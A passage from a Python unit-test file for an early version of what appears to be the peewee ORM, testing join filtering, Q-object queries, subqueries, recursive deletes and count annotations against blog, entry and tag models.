Blog.filter(entry_set__title='a1', entry_set__entrytag_set__tag='t1') self.assertEqual(list(sq), []) sq = Blog.filter(entry_set__title='a2', entry_set__entrytag_set__tag='t1') self.assertEqual(list(sq), [a]) et_sq = EntryTag.select().join(Entry).join(Blog) sq = EntryTag.filter(entry__blog__title='a') self.assertEqual(list(sq), [t1]) sq = EntryTag.filter(entry__blog__title='b') self.assertEqual(list(sq), [t2]) sq = EntryTag.filter(entry__blog__title='a', entry__title='a1') self.assertEqual(list(sq), []) sq = EntryTag.filter(entry__blog__title='a', entry__title='a2') self.assertEqual(list(sq), [t1]) def test_filtering_across_joins_with_q(self): a, a1, a2, b, b1, b2, t1, t2 = self.get_common_objects() sq = Blog.filter(Q(entry_set__entrytag_set__tag='t1')|Q(entry_set__entrytag_set__tag='t2')) self.assertEqual(list(sq), [a, b]) # permutations sq = Blog.filter(Q(entry_set__title='a2'), Q(entry_set__entrytag_set__tag='t1')|Q(entry_set__entrytag_set__tag='t2')) self.assertEqual(list(sq), [a]) sq = Blog.filter(Q(entry_set__title='b2'), Q(entry_set__entrytag_set__tag='t1')|Q(entry_set__entrytag_set__tag='t2')) self.assertEqual(list(sq), [b]) sq = Blog.filter(Q(entry_set__title='a2')|Q(entry_set__title='b2'), Q(entry_set__entrytag_set__tag='t1')) self.assertEqual(list(sq), [a]) sq = Blog.filter(Q(entry_set__title='a2')|Q(entry_set__title='b2'), Q(entry_set__entrytag_set__tag='t2')) self.assertEqual(list(sq), [b]) # work the other way sq = EntryTag.filter(Q(entry__blog__title='a')|Q(entry__blog__title='b')) self.assertEqual(list(sq), [t1, t2]) sq = EntryTag.filter(Q(entry__title='a2'), Q(entry__blog__title='a')|Q(entry__blog__title='b')) self.assertEqual(list(sq), [t1]) sq = EntryTag.filter(Q(entry__title='b2'), Q(entry__blog__title='a')|Q(entry__blog__title='b')) self.assertEqual(list(sq), [t2]) sq = EntryTag.filter(Q(entry__title='a2')|Q(entry__title='b2'), Q(entry__blog__title='a')) self.assertEqual(list(sq), [t1]) sq = EntryTag.filter(Q(entry__title='a2')|Q(entry__title='b2'), Q(entry__blog__title='b')) self.assertEqual(list(sq), [t2]) def test_mixing_models_filter_q(self): a, a1, a2, b, b1, b2, t1, t2 = self.get_common_objects() sq = EntryTag.filter(Q(entry__title='a2') | Q(entry__blog__title='b')) self.assertSQL(sq, [ ('(t2.`title` = ? OR t3.`title` = ?)', ['a2', 'b']), ]) self.assertEqual(list(sq), [t1, t2]) sq = EntryTag.filter(Q(entry__title='a2') | Q(entry__blog__title='b'), tag='t1') self.assertSQL(sq, [ ('(t2.`title` = ? OR t3.`title` = ?)', ['a2', 'b']), ('t1.`tag` = ?', ['t1']), ]) self.assertEqual(list(sq), [t1]) sq = Blog.filter(Q(entry_set__entrytag_set__tag='t1') | Q(entry_set__title='b1')) self.assertSQL(sq, [ ('(t3.`tag` = ? OR t2.`title` = ?)', ['t1', 'b1']), ]) sq = Blog.filter(Q(entry_set__entrytag_set__tag='t1') | Q(entry_set__title='b1'), title='b') self.assertSQL(sq, [ ('(t3.`tag` = ? OR t2.`title` = ?)', ['t1', 'b1']), ('t1.`title` = ?', ['b']), ]) sq = Blog.filter(Q(entry_set__entrytag_set__tag='t1') | Q(entry_set__title='b1'), Q(title='b') | Q(entry_set__title='b2'), entry_set__entrytag_set__id=1) self.assertSQL(sq, [ ('(t3.`tag` = ? OR t2.`title` = ?)', ['t1', 'b1']), ('(t1.`title` = ? OR t2.`title` = ?)', ['b', 'b2']), ('t3.`id` = ?', [1]), ]) def test_multiple_in(self): sq = Entry.select().where(title__in=['c', 'd'], content='foo').join(Blog).where(title__in=['a', 'b']) n1, n2 = sq._where q1 = n1.children[0] self.assertEqual(q1.model, Entry) self.assertEqual(q1.query, {'content': 'foo', 'title__in': ['c', 'd']}) q2 = n2.children[0] self.assertEqual(q2.model, Blog) self.assertEqual(q2.query, {'title__in': ['a', 'b']}) ba = self.create_blog(title='a') bb = self.create_blog(title='b') bc = self.create_blog(title='c') ea = self.create_entry(title='a', content='foo', blog=ba) # N eb = self.create_entry(title='b', content='foo', blog=bb) # N ec = self.create_entry(title='c', content='foo', blog=bc) # N ed = self.create_entry(title='d', content='foo', blog=ba) # Y ec2 = self.create_entry(title='c', content='foo', blog=bb) # Y ed2 = self.create_entry(title='d', content='bar', blog=ba) # N self.assertEqual(list(sq), [ed, ec2]) def test_ordering_across_joins(self): a, a1, a2, b, b1, b2, t1, t2 = self.get_common_objects() b3 = self.create_entry(title='b3', blog=b) c = self.create_blog(title='c') c1 = self.create_entry(title='c1', blog=c) sq = Blog.select({ Blog: ['*'], Entry: [Max('title', 'max_title')], }).join(Entry).order_by(desc('max_title')).group_by(Blog) results = list(sq) self.assertEqual(results, [c, b, a]) self.assertEqual([r.max_title for r in results], ['c1', 'b3', 'a2']) sq = Blog.select({ Blog: ['*'], Entry: [Max('title', 'max_title')], }).where( title__in=['a', 'b'] ).join(Entry).order_by(desc('max_title')).group_by(Blog) results = list(sq) self.assertEqual(results, [b, a]) self.assertEqual([r.max_title for r in results], ['b3', 'a2']) sq = Blog.select('t1.*, COUNT(t2.pk) AS count').join(Entry).order_by(desc('count')).group_by(Blog) qr = list(sq) self.assertEqual(qr, [b, a, c]) self.assertEqual(qr[0].count, 3) self.assertEqual(qr[1].count, 2) self.assertEqual(qr[2].count, 1) sq = Blog.select({ Blog: ['*'], Entry: [Count('pk', 'count')] }).join(Entry).group_by(Blog).order_by(desc('count')) qr = list(sq) self.assertEqual(qr, [b, a, c]) self.assertEqual(qr[0].count, 3) self.assertEqual(qr[1].count, 2) self.assertEqual(qr[2].count, 1) # perform a couple checks that break in the postgres backend -- this is # due to the way postgresql does aggregation - it wants all the fields # used to be included in the DISTINCT query if BACKEND != 'postgresql': sq = Blog.select().join(Entry).order_by(desc('title')).distinct() self.assertEqual(list(sq), [c, b, a]) sq = Blog.select().where(title__in=['a', 'b']).join(Entry).order_by(desc('title')).distinct() self.assertEqual(list(sq), [b, a]) def test_nullable_fks(self): a = self.create_blog(title='a') b = self.create_blog(title='b') c = self.create_blog(title='c') user_a = User(username='user_a', blog=a) user_a.save() user_a2 = User(username='user_a2', blog=a) user_a2.save() user_b = User(username='user_b', blog=b) user_b.save() sq = Blog.select({ Blog: ['*'], User: [Count('id', 'count')] }).join(User).group_by(Blog).order_by(desc('count')) qr = list(sq) self.assertEqual(qr, [a, b, c]) self.assertEqual(qr[0].count, 2) self.assertEqual(qr[1].count, 1) self.assertEqual(qr[2].count, 0) def test_multiple_fks(self): a = User.create(username='a') b = User.create(username='b') c = User.create(username='c') self.assertEqual(list(a.relationships), []) self.assertEqual(list(a.related_to), []) r_ab = Relationship.create(from_user=a, to_user=b) self.assertEqual(list(a.relationships), [r_ab]) self.assertEqual(list(a.related_to), []) self.assertEqual(list(b.relationships), []) self.assertEqual(list(b.related_to), [r_ab]) r_bc = Relationship.create(from_user=b, to_user=c) loose = User.select().join(Relationship, on='to_user').where(from_user=a).sql() strict = User.select().join(Relationship, on='to_user_id').where(from_user_id=a.id).sql() self.assertEqual(loose, strict) following = User.select().join( Relationship, on='to_user_id' ).where(from_user_id=a.id) self.assertEqual(list(following), [b]) followers = User.select().join( Relationship, on='from_user_id' ).where(to_user_id=a.id) self.assertEqual(list(followers), []) following = User.select().join( Relationship, on='to_user_id' ).where(from_user_id=b.id) self.assertEqual(list(following), [c]) followers = User.select().join( Relationship, on='from_user_id' ).where(to_user_id=b.id) self.assertEqual(list(followers), [a]) following = User.select().join( Relationship, on='to_user_id' ).where(from_user_id=c.id) self.assertEqual(list(following), []) followers = User.select().join( Relationship, on='from_user_id' ).where(to_user_id=c.id) self.assertEqual(list(followers), [b]) def test_subquery(self): a_blog = Blog.create(title='a blog') b_blog = Blog.create(title='b blog') c_blog = Blog.create(title='c blog') a = User.create(username='a', blog=a_blog) b = User.create(username='b', blog=b_blog) c = User.create(username='c', blog=c_blog) some_users = User.select().where(username__in=['a', 'b']) blogs = Blog.select().join(User).where(id__in=some_users) self.assertEqual(list(blogs), [a_blog, b_blog]) a_entry = Entry.create(title='a entry', blog=a_blog) b_entry = Entry.create(title='b entry', blog=b_blog) c_entry = Entry.create(title='c entry', blog=c_blog) # this is an inadvisable query but useful for testing! some_entries = Entry.select().join(Blog).where(id__in=blogs) self.assertEqual(list(some_entries), [a_entry, b_entry]) # check it without the join and a subquery on the FK some_entries2 = Entry.select().where(blog__in=blogs) self.assertEqual(list(some_entries2), [a_entry, b_entry]) # ok, last one a_tag = EntryTag.create(tag='a', entry=a_entry) b_tag = EntryTag.create(tag='b', entry=b_entry) c_tag = EntryTag.create(tag='c', entry=c_entry) some_tags = EntryTag.select().join(Entry).where(pk__in=some_entries) self.assertEqual(list(some_tags), [a_tag, b_tag]) # this should work the same some_tags = EntryTag.select().where(entry__in=some_entries) self.assertEqual(list(some_tags), [a_tag, b_tag]) def test_complex_subquery(self): a_blog = Blog.create(title='a blog') b_blog = Blog.create(title='b blog') c_blog = Blog.create(title='c blog') a = User.create(username='a', blog=a_blog) b = User.create(username='b', blog=b_blog) c = User.create(username='c', blog=c_blog) some_users = User.select().where(username__in=['a', 'b']) c_blog_qr = Blog.select().join(User).where(~Q(id__in=some_users)) self.assertEqual(list(c_blog_qr), [c_blog]) ac_blog_qr = Blog.select().join(User).where( ~Q(id__in=some_users) | Q(username='a') ) self.assertEqual(list(ac_blog_qr), [a_blog, c_blog]) def test_many_to_many(self): a_team = Team.create(name='a-team') b_team = Team.create(name='b-team') x_team = Team.create(name='x-team') a_member1 = Member.create(username='a1') a_member2 = Member.create(username='a2') b_member1 = Member.create(username='b1') b_member2 = Member.create(username='b2') ab_member = Member.create(username='ab') x_member = Member.create(username='x') Membership.create(team=a_team, member=a_member1) Membership.create(team=a_team, member=a_member2) Membership.create(team=b_team, member=b_member1) Membership.create(team=b_team, member=b_member2) Membership.create(team=a_team, member=ab_member) Membership.create(team=b_team, member=ab_member) # query the FK in the rel table a_team_members = Member.select().join(Membership).where(team=a_team) self.assertEqual(list(a_team_members), [a_member1, a_member2, ab_member]) b_team_members = Member.select().join(Membership).where(team=b_team) self.assertEqual(list(b_team_members), [b_member1, b_member2, ab_member]) a_member_teams = Team.select().join(Membership).where(member=a_member1) self.assertEqual(list(a_member_teams), [a_team]) ab_member_teams = Team.select().join(Membership).where(member=ab_member) self.assertEqual(list(ab_member_teams), [a_team, b_team]) # query across the rel table across = Member.select().join(Membership).join(Team).where(name='a-team') self.assertEqual(list(across), [a_member1, a_member2, ab_member]) across = Member.select().join(Membership).join(Team).where(name='b-team') self.assertEqual(list(across), [b_member1, b_member2, ab_member]) def test_updating_fks(self): blog = self.create_blog(title='dummy') blog2 = self.create_blog(title='dummy2') e1 = self.create_entry(title='e1', content='e1', blog=blog) e2 = self.create_entry(title='e2', content='e2', blog=blog) e3 = self.create_entry(title='e3', content='e3', blog=blog) for entry in Entry.select(): self.assertEqual(entry.blog, blog) uq = Entry.update(blog=blog2) uq.execute() for entry in Entry.select(): self.assertEqual(entry.blog, blog2) def test_non_select_with_list_in_where(self): blog = self.create_blog(title='dummy') blog2 = self.create_blog(title='dummy2') e1 = self.create_entry(title='e1', content='e1', blog=blog) e2 = self.create_entry(title='e2', content='e2', blog=blog) e3 = self.create_entry(title='e3', content='e3', blog=blog) uq = Entry.update(blog=blog2).where(title__in=['e1', 'e3']) self.assertEqual(uq.execute(), 2) e1_db = Entry.get(pk=e1.pk) e2_db = Entry.get(pk=e2.pk) e3_db = Entry.get(pk=e3.pk) self.assertEqual(list(blog.entry_set), [e2]) self.assertEqual(list(blog2.entry_set.order_by('title')), [e1, e3]) def test_delete_instance(self): b1 = self.create_blog(title='b1') b2 = self.create_blog(title='b2') b3 = self.create_blog(title='b3') self.assertEqual(list(Blog.select().order_by('title')), [ b1, b2, b3 ]) b1.delete_instance() self.assertEqual(list(Blog.select().order_by('title')), [ b2, b3 ]) b3.delete_instance() self.assertEqual(list(Blog.select().order_by('title')), [ b2 ]) def test_refresh(self): b1 = self.create_blog(title='b1') b2 = self.create_blog(title='b2') e1 = self.create_entry(title='e1', content='e1', blog=b1) e2 = self.create_entry(title='e2', content='e2', blog=b2) e1.title = '<edited>' e1.content = '<edited>' e1.refresh('title') self.assertEqual(e1.title, 'e1') self.assertEqual(e1.content, '<edited>') self.assertSQLEqual(self.queries()[-1], ('SELECT `title` FROM `entry` WHERE `pk` = ? LIMIT 1', [e1.pk])) e1.refresh() self.assertEqual(e1.content, 'e1') e2.title = 'foo' e2.content = 'xxx' e2.refresh('title') self.assertEqual(e2.title, 'e2') self.assertEqual(e2.content, 'xxx') def test_iterator(self): expected = ['b%d' % i for i in range(10)] for i in range(10): Blog.create(title='b%d' % i) qc = len(self.queries()) qr = Blog.select().execute() titles = [b.title for b in qr.iterator()] self.assertEqual(titles, expected) qc1 = len(self.queries()) self.assertEqual(qc1 - qc, 1) self.assertTrue(qr._populated) self.assertEqual(qr._result_cache, []) # just try to iterate again = [b.title for b in qr] self.assertEqual(again, []) qc2 = len(self.queries()) self.assertEqual(qc2 - qc1, 0) qr = Blog.select().where(title='xxxx').execute() titles = [b.title for b in qr.iterator()] self.assertEqual(titles, []) def test_naive_query(self): b1 = Blog.create(title='b1') b2 = Blog.create(title='b2') e11 = Entry.create(title='e11', blog=b1) e21 = Entry.create(title='e21', blog=b2) e22 = Entry.create(title='e22', blog=b2) # attr assignment works in the simple case sq = Blog.select().order_by('id').naive() self.assertEqual(dict((b.id, b.title) for b in sq), { b1.id: 'b1', b2.id: 'b2', }) # aggregate assignment works as expected sq = Blog.select({ Blog: ['id', 'title'], Entry: [Count('id', 'count')], }).order_by('id').join(Entry).group_by(Blog).naive() self.assertEqual(dict((b.id, [b.title, b.count]) for b in sq), { b1.id: ['b1', 1], b2.id: ['b2', 2], }) # select related gets flattened sq = Entry.select({ Entry: ['pk', 'title'], Blog: [('title', 'blog_title')], }).join(Blog).order_by('id').naive() self.assertEqual(dict((e.pk, [e.title, e.blog_title]) for e in sq), { e11.pk: ['e11', 'b1'], e21.pk: ['e21', 'b2'], e22.pk: ['e22', 'b2'], }) # check that it works right when you're using a different underlying col lb1 = LegacyBlog.create(name='lb1') lb2 = LegacyBlog.create(name='lb2') sq = LegacyBlog.select(['id', 'name']).where(id__in=[lb1.id, lb2.id]).naive() self.assertEqual(dict((lb.id, lb.name) for lb in sq), { lb1.id: 'lb1', lb2.id: 'lb2', }) class RecursiveDeleteTestCase(BaseModelTestCase): def setUp(self): super(RecursiveDeleteTestCase, self).setUp() EntryTwo.drop_table(True) Category.drop_table(True) EntryTwo.create_table() Category.create_table() def tearDown(self): super(RecursiveDeleteTestCase, self).tearDown() EntryTwo.drop_table(True) Category.drop_table(True) def ro(self, o): return type(o).get(**{o._meta.pk_name: o.get_pk()}) def test_recursive_delete(self): b1 = Blog.create(title='b1') b2 = Blog.create(title='b2') e11 = Entry.create(blog=b1, title='e11') e12 = Entry.create(blog=b1, title='e12') e21 = Entry.create(blog=b2, title='e21') e22 = Entry.create(blog=b2, title='e22') et11 = EntryTag.create(entry=e11, tag='et11') et12 = EntryTag.create(entry=e12, tag='et12') et21 = EntryTag.create(entry=e21, tag='et21') et22 = EntryTag.create(entry=e22, tag='et22') u1 = User.create(username='u1', blog=b1) u2 = User.create(username='u2', blog=b2) u3 = User.create(username='u3') r1 = Relationship.create(from_user=u1, to_user=u2) r2 = Relationship.create(from_user=u2, to_user=u3) c1 = Category.create(name='top') c2 = Category.create(name='l11', parent=c1) c3 = Category.create(name='l12', parent=c1) c4 = Category.create(name='l21', parent=c2) b1.delete_instance(recursive=True) self.assertEqual(Blog.select().count(), 1) self.assertEqual(Entry.select().count(), 2) self.assertEqual(EntryTag.select().count(), 2) self.assertEqual(User.select().count(), 3) # <-- user not affected since nullable self.assertEqual(Relationship.select().count(), 2) # check that the affected user had their blog set to null u1 = self.ro(u1) self.assertEqual(u1.blog, None) u2 = self.ro(u2) self.assertEqual(u2.blog, b2) # check that b2's entries are intact self.assertEqual(list(b2.entry_set.order_by('pk')), [e21, e22]) # delete a self-referential FK model, should update to Null c2.delete_instance(recursive=True) self.assertEqual(list(c1.children.order_by('id')), [c3]) c4 = self.ro(c4) self.assertEqual(c4.parent, None) # deleting a user deletes by joining on the proper keys u3.delete_instance(recursive=True) self.assertEqual(Relationship.select().count(), 1) r1 = self.ro(r1) self.assertEqual(r1.from_user, u1) self.assertEqual(r1.to_user, u2) u1.delete_instance(True) self.assertEqual(Relationship.select().count(), 0) class SelectRelatedTestCase(BaseModelTestCase): def setUp(self): super(SelectRelatedTestCase, self).setUp() self.b1 = self.create_blog(title='b1') self.b2 = self.create_blog(title='b2') for b in [self.b1, self.b2]: for i in range(3): e = self.create_entry(title='e%d' % i, blog=b) t = self.create_entry_tag(tag='e%dt%d' % (i, i), entry=e) def test_select_related(self): qc1 = len(self.queries()) sq = Entry.select({ Entry: ['*'], Blog: ['*'], }).join(Blog).where(title='b1') results = list(sq) blog_titles = [r.blog.title for r in results] blog_ids = [r.blog.id for r in results] qc2 = len(self.queries()) self.assertEqual(qc2 - qc1, 1) self.assertEqual(blog_titles, ['b1', 'b1', 'b1']) self.assertEqual(blog_ids, [self.b1.id, self.b1.id, self.b1.id]) def test_select_related_with_missing_pk(self): qc1 = len(self.queries()) sq = Entry.select({ Entry: ['*'], Blog: ['title'], }).join(Blog).where(title='b1') results = list(sq) blog_titles = [r.blog.title for r in results] blog_ids = [r.blog.id for r in results] qc2 = len(self.queries()) self.assertEqual(qc2 - qc1, 1) self.assertEqual(blog_titles, ['b1', 'b1', 'b1']) self.assertEqual(blog_ids, [self.b1.id, self.b1.id, self.b1.id]) def test_select_related_multiple(self): qc1 = len(self.queries()) sq = EntryTag.select({ EntryTag: ['*'], Entry: ['pk', 'blog_id'], Blog: ['title'], }).join(Entry).join(Blog).where(title='b1') results = list(sq) blog_titles = [r.entry.blog.title for r in results] blog_ids = [r.entry.blog.id for r in results] self.assertEqual(blog_titles, ['b1', 'b1', 'b1']) self.assertEqual(blog_ids, [self.b1.id, self.b1.id, self.b1.id]) qc2 = len(self.queries()) self.assertEqual(qc2 - qc1, 1) # didn't select title/content/pub_date on entries, so make sure they're none for r in results: self.assertEqual(r.entry.title, None) self.assertEqual(r.entry.content, '') # <-- default value self.assertEqual(r.entry.pub_date, None) self.assertFalse(r.entry.pk == None) class FilterQueryTests(BaseModelTestCase): def test_filter_no_joins(self): query = Entry.filter(title='e1') self.assertSQL(query, [('`title` = ?', ['e1'])]) query = Entry.filter(title__in=['e1', 'e2']) self.assertSQL(query, [('`title` IN (?,?)', [['e1', 'e2']])]) def test_filter_missing_field(self): self.assertRaises(AttributeError, Entry.filter(missing='missing').sql) self.assertRaises(AttributeError, Entry.filter(blog__missing='missing').sql) def test_filter_joins(self): query = EntryTag.filter(entry__title='e1') self.assertSQL(query, [('t2.`title` = ?', ['e1'])]) query = EntryTag.filter(entry__title__in=['e1', 'e2']) self.assertSQL(query, [('t2.`title` IN (?,?)', [['e1', 'e2']])]) query = EntryTag.filter(entry__blog__title='b1') self.assertSQL(query, [('t3.`title` = ?', ['b1'])]) query = EntryTag.filter(entry__blog__title__in=['b1', 'b2']) self.assertSQL(query, [('t3.`title` IN (?,?)', [['b1', 'b2']])]) query = EntryTag.filter(entry__blog__title__in=['b1', 'b2'], entry__title='e1') self.assertSQL(query, [ ('t3.`title` IN (?,?)', [['b1', 'b2']]), ('t2.`title` = ?', ['e1']), ]) query = EntryTag.filter(entry__blog__title__in=['b1', 'b2'], entry__title='e1', tag='t1') self.assertSQL(query, [ ('t3.`title` IN (?,?)', [['b1', 'b2']]), ('t2.`title` = ?', ['e1']), ('t1.`tag` = ?', ['t1']), ]) def test_filter_reverse_joins(self): query = Blog.filter(entry_set__title='e1') self.assertSQL(query, [('t2.`title` = ?', ['e1'])]) query = Blog.filter(entry_set__title__in=['e1', 'e2']) self.assertSQL(query, [('t2.`title` IN (?,?)', [['e1', 'e2']])]) query = Blog.filter(entry_set__entrytag_set__tag='t1') self.assertSQL(query, [('t3.`tag` = ?', ['t1'])]) query = Blog.filter(entry_set__entrytag_set__tag__in=['t1', 't2']) self.assertSQL(query, [('t3.`tag` IN (?,?)', [['t1', 't2']])]) query = Blog.filter(entry_set__entrytag_set__tag__in=['t1', 't2'], entry_set__title='e1') self.assertSQL(query, [ ('t3.`tag` IN (?,?)', [['t1', 't2']]), ('t2.`title` = ?', ['e1']), ]) query = Blog.filter(entry_set__entrytag_set__tag__in=['t1', 't2'], entry_set__title='e1', title='b1') self.assertSQL(query, [ ('t3.`tag` IN (?,?)', [['t1', 't2']]), ('t2.`title` = ?', ['e1']), ('t1.`title` = ?', ['b1']), ]) def test_filter_multiple_lookups(self): query = Entry.filter(title='e1', pk=1) self.assertSQL(query, [ ('(`pk` = ? AND `title` = ?)', [1, 'e1']), ]) query = Entry.filter(title='e1', pk=1, blog__title='b1') self.assertSQL(query, [ ('(t1.`pk` = ? AND t1.`title` = ?)', [1, 'e1']), ('t2.`title` = ?', ['b1']) ]) query = Entry.filter(blog__id=2, title='e1', pk=1, blog__title='b1') self.assertSQL(query, [ ('(t1.`pk` = ? AND t1.`title` = ?)', [1, 'e1']), ('(t2.`id` = ? AND t2.`title` = ?)', [2, 'b1']), ]) def test_filter_with_q(self): query = Entry.filter(Q(title='e1') | Q(title='e2')) self.assertSQL(query, [ ('(`title` = ? OR `title` = ?)', ['e1', 'e2']) ]) query = Entry.filter(Q(title='e1') | Q(title='e2') | Q(title='e3'), Q(pk=1) | Q(pk=2)) self.assertSQL(query, [ ('(`title` = ? OR `title` = ? OR `title` = ?)', ['e1', 'e2', 'e3']), ('(`pk` = ? OR `pk` = ?)', [1, 2]) ]) query = Entry.filter(Q(title='e1') | Q(title='e2'), pk=1) self.assertSQL(query, [ ('(`title` = ? OR `title` = ?)', ['e1', 'e2']), ('`pk` = ?', [1]) ]) # try with joins now query = Entry.filter(Q(blog__id=1) | Q(blog__id=2)) self.assertSQL(query, [ ('(t2.`id` = ? OR t2.`id` = ?)', [1, 2]) ]) query = Entry.filter(Q(blog__id=1) | Q(blog__id=2) | Q(blog__id=3), Q(blog__title='b1') | Q(blog__title='b2')) self.assertSQL(query, [ ('(t2.`id` = ? OR t2.`id` = ? OR t2.`id` = ?)', [1, 2, 3]), ('(t2.`title` = ? OR t2.`title` = ?)', ['b1', 'b2']) ]) query = Entry.filter(Q(blog__id=1) | Q(blog__id=2) | Q(blog__id=3), Q(blog__title='b1') | Q(blog__title='b2'), title='foo') self.assertSQL(query, [ ('(t2.`id` = ? OR t2.`id` = ? OR t2.`id` = ?)', [1, 2, 3]), ('(t2.`title` = ? OR t2.`title` = ?)', ['b1', 'b2']), ('t1.`title` = ?', ['foo']), ]) query = Entry.filter(Q(blog__id=1) | Q(blog__id=2) | Q(blog__id=3), Q(blog__title='b1') | Q(blog__title='b2'), title='foo', blog__title='baz') self.assertSQL(query, [ ('(t2.`id` = ? OR t2.`id` = ? OR t2.`id` = ?)', [1, 2, 3]), ('(t2.`title` = ? OR t2.`title` = ?)', ['b1', 'b2']), ('t1.`title` = ?', ['foo']), ('t2.`title` = ?', ['baz']), ]) query = EntryTag.filter(Q(entry__blog__title='b1') | Q(entry__blog__title='b2'), Q(entry__pk=1) | Q(entry__pk=2), tag='baz', entry__title='e1') self.assertSQL(query, [ ('(t3.`title` = ? OR t3.`title` = ?)', ['b1', 'b2']), ('(t2.`pk` = ? OR t2.`pk` = ?)', [1, 2]), ('t1.`tag` = ?', ['baz']), ('t2.`title` = ?', ['e1']), ]) def test_filter_with_query(self): simple_query = User.select().where(active=True) query = filter_query(simple_query, username='bamples') self.assertSQL(query, [ ('`active` = ?', [1]), ('`username` = ?', ['bamples']), ]) query = filter_query(simple_query, blog__title='b1') self.assertSQL(query, [ ('t1.`active` = ?', [1]), ('t2.`title` = ?', ['b1']), ]) join_query = User.select().join(Blog).where(title='b1') query = filter_query(join_query, username='bamples') self.assertSQL(query, [ ('t1.`username` = ?', ['bamples']), ('t2.`title` = ?', ['b1']), ]) # join should be recycled here query = filter_query(join_query, blog__id=1) self.assertSQL(query, [ ('t2.`id` = ?', [1]), ('t2.`title` = ?', ['b1']), ]) complex_query = User.select().join(Blog).where(Q(id=1)|Q(id=2)) query = filter_query(complex_query, username='bamples', blog__title='b1') self.assertSQL(query, [ ('(t2.`id` = ? OR t2.`id` = ?)', [1, 2]), ('t1.`username` = ?', ['bamples']), ('t2.`title` = ?', ['b1']), ]) query = filter_query(complex_query, Q(blog__title='b1')|Q(blog__title='b2'), username='bamples') self.assertSQL(query, [ ('(t2.`id` = ? OR t2.`id` = ?)', [1, 2]), ('t1.`username` = ?', ['bamples']), ('(t2.`title` = ? OR t2.`title` = ?)', ['b1', 'b2']), ]) # zomg query = filter_query(complex_query, Q(blog__entry_set__title='e1')|Q(blog__entry_set__title='e2'), blog__title='b1', username='bamples') self.assertSQL(query, [ ('(t2.`id` = ? OR t2.`id` = ?)', [1, 2]), ('(t3.`title` = ? OR t3.`title` = ?)', ['e1', 'e2']), ('t2.`title` = ?', ['b1']), ('t1.`username` = ?', ['bamples']), ]) def test_filter_chaining(self): simple_filter = Entry.filter(blog__id=1) self.assertSQL(simple_filter, [ ('t2.`id` = ?', [1]) ]) f2 = simple_filter.filter(Q(blog__title='b1') | Q(blog__title='b2'), title='e1') self.assertSQL(f2, [ ('t2.`id` = ?', [1]), ('(t2.`title` = ? OR t2.`title` = ?)', ['b1', 'b2']), ('t1.`title` = ?', ['e1']) ]) def test_filter_both_directions(self): f = Entry.filter(blog__title='b1', entrytag_set__tag='t1') b1 = self.create_blog(title='b1') b2 = self.create_blog(title='b2') e11 = self.create_entry(title='e11', blog=b1) e12 = self.create_entry(title='e12', blog=b1) e21 = self.create_entry(title='e21', blog=b2) e22 = self.create_entry(title='e22', blog=b2) self.create_entry_tag(tag='t1', entry=e11) self.create_entry_tag(tag='t2', entry=e12) self.create_entry_tag(tag='t1', entry=e21) self.create_entry_tag(tag='t2', entry=e22) self.assertEqual(list(f), [e11]) n1, n2 = f._where if n1.children[0].model == Blog: pieces = [('t2.`title` = ?', ['b1']), ('t3.`tag` = ?', ['t1'])] else: pieces = [('t2.`tag` = ?', ['t1']), ('t3.`title` = ?', ['b1'])] self.assertSQL(f, pieces) class AnnotateQueryTests(BaseModelTestCase): def get_some_blogs(self): blogs = [Blog.create(title='b%d' % i) for i in range(3)] entries = [] for i, b in enumerate(blogs): for j in range(3 + i): entries.append(Entry.create(blog=b, title='e-%d-%d' % (i,j))) users = [ User.create(username='u1a', blog=blogs[0]), User.create(username='u1b', blog=blogs[0]), User.create(username='u2', blog=blogs[1]), User.create(username='u3'), ] return blogs, entries, users def test_simple_annotation(self): blogs, entries, _ = self.get_some_blogs() annotated = Blog.select().annotate(Entry).order_by(('count', 'desc')) self.assertSQLEqual(annotated.sql(), ( 'SELECT t1.`id`, t1.`title`, COUNT(t2.`pk`) AS count FROM `blog` AS t1 INNER JOIN `entry` AS t2 ON t1.`id` = t2.`blog_id` GROUP BY t1.`id`, t1.`title` ORDER BY count desc', [] )) self.assertEqual([(b, b.count) for b in annotated], [ (blogs[2], 5), (blogs[1], 4), (blogs[0], 3), ]) Entry.delete().where(blog=blogs[1]).execute() self.assertEqual([(b, b.count) for b in annotated.clone()], [ (blogs[2], 5), (blogs[0], 3), ]) alt = Blog.select().join(Entry, 'left outer') annotated = alt.annotate(Entry).order_by(('count', 'desc')) self.assertSQLEqual(annotated.sql(), ( 'SELECT t1.`id`, t1.`title`, COUNT(t2.`pk`) AS count FROM `blog` AS t1 left outer JOIN `entry` AS t2 ON t1.`id` = t2.`blog_id` GROUP BY t1.`id`, t1.`title` ORDER BY count desc', [] )) self.assertEqual([(b, b.count) for b in annotated], [ (blogs[2], 5), (blogs[0], 3), (blogs[1], 0), ]) def test_nullable_annotate(self): blogs, entries, users = self.get_some_blogs() annotated = Blog.select().annotate(User).order_by(('count', 'desc')) self.assertSQLEqual(annotated.sql(), ( ('SELECT t1.`id`, t1.`title`, COUNT(t2.`id`) AS count FROM `blog` AS t1 LEFT OUTER JOIN `users` AS t2 ON t1.`id` = t2.`blog_id` GROUP BY t1.`id`, t1.`title` ORDER BY count desc', []) )) self.assertEqual([(b, b.count) for b in annotated], [ (blogs[0], 2), (blogs[1], 1), (blogs[2], 0), ]) def test_limited_annotate(self): annotated = Blog.select('id').annotate(Entry) self.assertSQLEqual(annotated.sql(), ( ('SELECT t1.`id`, COUNT(t2.`pk`) AS count FROM `blog` AS t1 INNER JOIN `entry` AS t2 ON t1.`id` = t2.`blog_id` GROUP BY t1.`id`', []) )) annotated = Blog.select(['id', 'title']).annotate(Entry) self.assertSQLEqual(annotated.sql(), ( ('SELECT t1.`id`, t1.`title`, COUNT(t2.`pk`) AS count FROM `blog` AS t1 INNER JOIN `entry` AS t2 ON t1.`id` = t2.`blog_id` GROUP BY t1.`id`, t1.`title`', []) )) annotated = Blog.select({Blog: ['id']}).annotate(Entry) self.assertSQLEqual(annotated.sql(), ( ('SELECT t1.`id`, COUNT(t2.`pk`) AS count FROM `blog` AS t1 INNER JOIN `entry` AS t2 ON t1.`id` = t2.`blog_id` GROUP BY t1.`id`', []) )) def test_annotate_with_where(self): blogs, entries, users = self.get_some_blogs() annotated = Blog.select().where(title='b2').annotate(Entry) self.assertSQLEqual(annotated.sql(), ( 'SELECT t1.`id`, t1.`title`, COUNT(t2.`pk`) AS count FROM `blog` AS t1 INNER JOIN `entry` AS t2 ON t1.`id` = t2.`blog_id` WHERE t1.`title` = ? GROUP BY t1.`id`, t1.`title`', ['b2'] )) self.assertEqual([(b, b.count) for b in annotated], [ (blogs[2], 5), 